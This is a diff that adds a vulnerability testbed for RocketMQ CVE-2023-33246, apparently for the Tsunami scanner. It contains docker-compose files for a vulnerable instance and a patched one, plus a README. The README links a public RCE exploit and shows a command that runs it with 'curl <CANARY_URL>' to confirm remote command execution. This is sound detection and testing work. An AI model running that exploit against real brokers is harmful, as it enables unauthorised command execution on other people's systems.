RocketMQ CVE-2023-33246

apache/rocketmq/CVE-2023-33246/README.md

@@ -0,0 +1,32 @@
+# RocketMQ CVE-2023-33246 Testbed
+
+## Start the service
+### Vulnerable instance
+```bash
+docker compose -f docker-compose-vulnerable.yml up 
+```
+
+### Secure instance
+```bash
+docker compose -f docker-compose-secure.yml up
+```
+## Detection
+The vulnerability can be verified and exploited by connecting to the broker port, which is `10911` by default. Unfortunately, this port is not included in nmap's top 1000 ports, therefore Tsunami will not detect it during a standard scan, unless you manually specify to scan it in the CLI arguments: `--port-ranges-target=10911`.
+## Check if the instance is vulnerable
+You can use the scripts from the following repository to check whether a RocketMQ instance is vulnerable: https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT.
+
+Here are some examples.
+### Simple version-based check
+Note: this needs the nameserver port (9876) to be reachable.
+```bash
+python3 check.py --ip <IP>
+```
+The python script will output a message with the detected version and the exploitability.
+### Test with out-of-bound callback
+This script will exploit the vulnerability with the supplied command. You can use a canary URL to confirm the presence of the vulnerability.
+```bash
+ python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py <IP> <PORT> 'curl <CANARY_URL>'
+```
+
+## References:
+https://vulncheck.com/blog/rocketmq-exploit-payloads

apache/rocketmq/CVE-2023-33246/docker-compose-secure.yml

@@ -0,0 +1,16 @@
+name: rocketmq_secure
+services:
+  namesrv:
+    image: apache/rocketmq:5.1.1
+    command: sh mqnamesrv
+    ports:
+      - "9876:9876"
+
+  broker:
+    image: apache/rocketmq:5.1.1
+    command: sh mqbroker -n namesrv:9876
+    ports:
+      - "10911:10911"
+      - "10909:10909"
+    depends_on:
+      - namesrv

apache/rocketmq/CVE-2023-33246/docker-compose-vulnerable.yml

@@ -0,0 +1,16 @@
+name: rocketmq_vulnerable
+services:
+  namesrv:
+    image: apache/rocketmq:4.9.4
+    command: sh mqnamesrv
+    ports:
+      - "9876:9876"
+
+  broker:
+    image: apache/rocketmq:4.9.4
+    command: sh mqbroker -n namesrv:9876
+    ports:
+      - "10911:10911"
+      - "10909:10909"
+    depends_on:
+      - namesrv